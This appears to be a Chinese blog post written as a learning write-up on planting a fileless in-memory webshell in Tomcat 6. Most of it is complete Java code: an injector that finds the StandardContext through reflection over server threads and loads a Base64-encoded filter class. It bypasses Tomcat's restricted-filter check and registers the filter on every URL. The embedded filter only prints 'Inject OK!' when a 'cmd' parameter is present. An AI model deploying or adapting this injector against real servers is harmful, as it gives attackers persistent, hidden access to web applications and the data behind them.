Tomcat6 注入内存马

请注意,本文编写于 748 天前,最后修改于 748 天前,其中某些信息可能已经过时。

前言

和大哥们学新的姿势,感觉自己已经变成idea的性状了,这里的大哥说话又好听,我超喜欢这里的.jpg
以下是参考(抄袭)文章列表
怎么说呢,这几周玩了下java,大概也有点感觉了,打内存马就和win32寻址一样。

首先先解决在哪里打,也就是获取上下文standardContext,在栈上寻址找到这个地址,哦不对,在java中应该叫做对象。

然后再基于这个对象派生,找到管理filter的这些列表,正常程序流程访问网页肯定是先检查一个filter列表,看看是否匹配,匹配就丢给filter处理,然后filter处理完再往下丢给servlet/controller这些处理。我们要做的就是找到那个filter列表的地址,然后想办法把我们的内存马加进去

怎么加呢?那肯定就是得先找到注册函数,把我们内存马注册成一个filter,依旧是从栈上派生出来,还是一个寻址问题。总体感觉jvav大差不差,还是能理解的。

当然,理解是一回事,真的要我写一套完整项目,那就是另一回事了.jpg

注意点

线程加载问题

加载Filter Class的时候,不能用系统ClassLoader,得用当前线程的Loader,不然会报找不到org.servlet.Filter

Method defineClass = 
ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);defineClass.setAccessible(true);
byte[] code = {};
Class filter = (Class)defineClass.invoke(Thread.currentThread().getContextClassLoader(),code,0,code.length);
Object testFilter = filter.newInstance();

得用Thread.currentThread().getContextClassLoader(),不能用ClassLoader.getSystemClassLoader(),MD就被这个坑了一天。

同样还是线程加载问题

如果类似注入点的地方获取不到线程,或者是由其他线程创建的,比如如果在tomcat的Servlet中用ClassLoader.getSystemClassLoader()加载class(没错我就是这么干的),可以考虑用反射

Class<?> FilterDefClass = 
Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterDef");
Object filterDef = FilterDefClass.newInstance();

的方式强行加载,虽然没啥用。。但是之前被卡在线程那里太久了导致我把这些加载不到的都换成了

完整代码

运行流程,东抄抄西抄抄,先从利用shiro反序列化注入冰蝎内存马把Tomcat678抄出来,然后再从tomcat6、7、8、9内存马把注入流程抄出来,然后缝合一下,就好了

先把Filter代码打包成class

package com;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import javax.servlet.*;

public class testFilter implements Filter{
    public testFilter() {
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
        if (servletRequest.getParameter("cmd") != null){
            servletResponse.getWriter().write("Inject OK!");
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }
    @Override
    public void destroy() {
    }
}

然后编译注入器代码

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Properties;

public class TomcatMemShellInject {
    String uri;
    String serverName;
    Object standardContext;

    public static byte[] base64Decode(String str) throws Exception {
        Class clazz;
        try {
            clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception var3) {
            clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }

    private final static String filterName = "TomcatMemShellInject";

    public byte[] getContent(String filePath) throws IOException {
        File file = new File(filePath);
        long fileSize = file.length();
        if (fileSize > Integer.MAX_VALUE) {
            System.out.println("file too big...");
            return null;
        }
        FileInputStream fi = new FileInputStream(file);
        byte[] buffer = new byte[(int) fileSize];
        int offset = 0;
        int numRead = 0;
        while (offset < buffer.length
                && (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0) {
            offset += numRead;
        }
        // 确保所有数据均被读取
        if (offset != buffer.length) {
            throw new IOException("Could not completely read file "
                    + file.getName());
        }
        fi.close();
        return buffer;
    }

    public TomcatMemShellInject() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, ClassNotFoundException, IOException {
        Tomcat678();
        try {
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            String result = "yv66vgAAADIATAoADAAoCQApACoIABsKACsALAgALQsALgAvCwAwADEIADIKADMANAsANQA2BwA3BwA4BwA5AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL3Rlc3RGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAOgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAkdGVzdEZpbHRlci5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAOAA8HADwMAD0APgcAPwwAQABBAQADY21kBwBCDABDAEQHAEUMAEYARwEACkluamVjdCBPSyEHAEgMAEkAQQcASgwAGwBLAQAOY29tL3Rlc3RGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWACEACwAMAAEADQAAAAQAAQAOAA8AAQAQAAAAMwABAAEAAAAFKrcAAbEAAAACABEAAAAKAAIAAAAJAAQACgASAAAADAABAAAABQATABQAAAABABUAFgACABAAAAA1AAAAAgAAAAGxAAAAAgARAAAABgABAAAADwASAAAAFgACAAAAAQATABQAAAAAAAEAFwAYAAEAGQAAAAQAAQAaAAEAGwAcAAIAEAAAAI0AAwAEAAAAKLIAAhIDtgAEKxIFuQAGAgDGAA8suQAHAQASCLYACbEtKyy5AAoDALEAAAADABEAAAAaAAYAAAATAAgAFAATABUAHgAWAB8AGAAnABkAEgAAACoABAAAACgAEwAUAAAAAAAoAB0AHgABAAAAKAAfACAAAgAAACgAIQAiAAMAIwAAAAMAAR8AGQAAAAYAAgAaACQAAQAlAA8AAQAQAAAAKwAAAAEAAAABsQAAAAIAEQAAAAYAAQAAABwAEgAAAAwAAQAAAAEAEwAUAAAAAQAmAAAAAgAn";
            byte[] code = base64Decode(result);
            ;
            Class filter = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), code, 0, code.length);
            Object testFilter = filter.newInstance();
            Class<?> FilterDefClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterDef");
            Object filterDef = FilterDefClass.newInstance();
            FilterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, filterName);
            Method addFilterDef = standardContext.getClass().getMethod("addFilterDef", FilterDefClass);
            addFilterDef.invoke(standardContext, filterDef);
            filterDef.getClass().getMethod("setFilterClass", String.class).invoke(filterDef, testFilter.getClass().getName());
            Class<?> FilterMapClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterMap");
            Object filterMap = FilterMapClass.getConstructor(new Class[]{}).newInstance();
            String setFilterName = (String) FilterDefClass.getMethod("getFilterName").invoke(filterDef);
            FilterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, setFilterName);
            FilterMapClass.getMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST");
            FilterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*");
            Method addFilterMap = standardContext.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);
            addFilterMap.invoke(standardContext, filterMap);
            Object tmpFilterDef = FilterDefClass.newInstance();
            FilterDefClass.getMethod("setFilterClass", String.class).invoke(tmpFilterDef, "org.apache.catalina.ssi.SSIFilter");
            FilterDefClass.getMethod("setFilterName", String.class).invoke(tmpFilterDef, filterName);
            Class<?> ContextClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Context");
            Class<?> applicationFilterConfigClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.core.ApplicationFilterConfig");
            Constructor<?> applicationFilterConfigConstructor = applicationFilterConfigClass.getDeclaredConstructor(ContextClass, FilterDefClass);
            applicationFilterConfigConstructor.setAccessible(true);
            Properties properties = new Properties();
            properties.put("org.apache.catalina.ssi.SSIFilter", "123");
            Field restrictedFiltersField = applicationFilterConfigClass.getDeclaredField("restrictedFilters");
            restrictedFiltersField.setAccessible(true);
            restrictedFiltersField.set(null, properties);
            Object filterConfig = applicationFilterConfigConstructor.newInstance(standardContext, tmpFilterDef);
            Field filterField = filterConfig.getClass().getDeclaredField("filter");
            filterField.setAccessible(true);
            filterField.set(filterConfig, testFilter);
            Field filterDefField = filterConfig.getClass().getDeclaredField("filterDef");
            filterDefField.setAccessible(true);
            filterDefField.set(filterConfig, filterDef);
            Class<?> StandardContextClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.core.StandardContext");
            Field filterConfigsField = StandardContextClass.getDeclaredField("filterConfigs");
            filterConfigsField.setAccessible(true);
            HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext);
            filterConfigs.put(filterName, filterConfig);
            filterConfigsField.set(standardContext, filterConfigs);
            System.out.println("Inject OK");
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    public Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (Exception e) {
                // field不存在,错误不抛出,测试时可以抛出
            }
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public void getStandardContext() {
        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {
            if (thread == null) {
                continue;
            }
            // 过滤掉不相关的线程
            if (!thread.getName().contains("StandardEngine")) {
                continue;
            }

            Object target = this.getField(thread, "target");
            if (target == null) {
                continue;
            }
            HashMap children;

            try {
                children = (HashMap) getField(getField(target, "this$0"), "children");
                //org.apache.catalina.core.StandardHost standardHost = (org.apache.catalina.core.StandardHost) children.get(this.serverName);
                children = (HashMap) getField(children.get(this.serverName), "children");
                Iterator iterator = children.keySet().iterator();
                while (iterator.hasNext()) {
                    String contextKey = (String) iterator.next();
                    if (!(this.uri.startsWith(contextKey))) {
                        continue;
                    }
                    // /spring_mvc/home/index startsWith /spring_mvc
                    //StandardContext standardContext =  children.get(contextKey);
                    System.out.println(children.get(contextKey).getClass().getName());
                    this.standardContext = children.get(contextKey);

                    System.out.println("here");
                    // 添加内存马
                    return;
                }
            } catch (Exception e) {
                continue;
            }
            if (children == null) {
                continue;
            }
        }
    }

    public void Tomcat678() {


        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {

            if (thread == null) {
                continue;
            }
            if (thread.getName().contains("exec")) {
                continue;
            }
            Object target = this.getField(thread, "target");
            if (!(target instanceof Runnable)) {
                continue;
            }

            try {
                object = getField(getField(getField(target, "this$0"), "handler"), "global");
            } catch (Exception e) {
                continue;
            }
            if (object == null) {
                continue;
            }
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();

                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) {
                    continue;
                }
                // 不是对应的请求时,serverPort = -1
                System.out.println(getField(req, "serverNameMB").getClass().getName());
                //org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                this.serverName = (String) getField(getField(req, "serverNameMB"), "strValue");
                if (this.serverName == null) {
                    this.serverName = getField(req, "serverNameMB").toString();
                }
//                if (this.serverName == null){
//                    this.serverName = serverNameMB.getString();
//                }

                //org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "decodedUriMB");
                this.uri = (String) getField(getField(req, "decodedUriMB"), "strValue");
                if (this.uri == null) {
                    this.uri = getField(req, "decodedUriMB").toString();
                }
//                if (this.uri == null){
//                    this.uri = uriMB.getString();
//                }

                this.getStandardContext();
                return;
            }
        }
    }
}

添加新评论

评论列表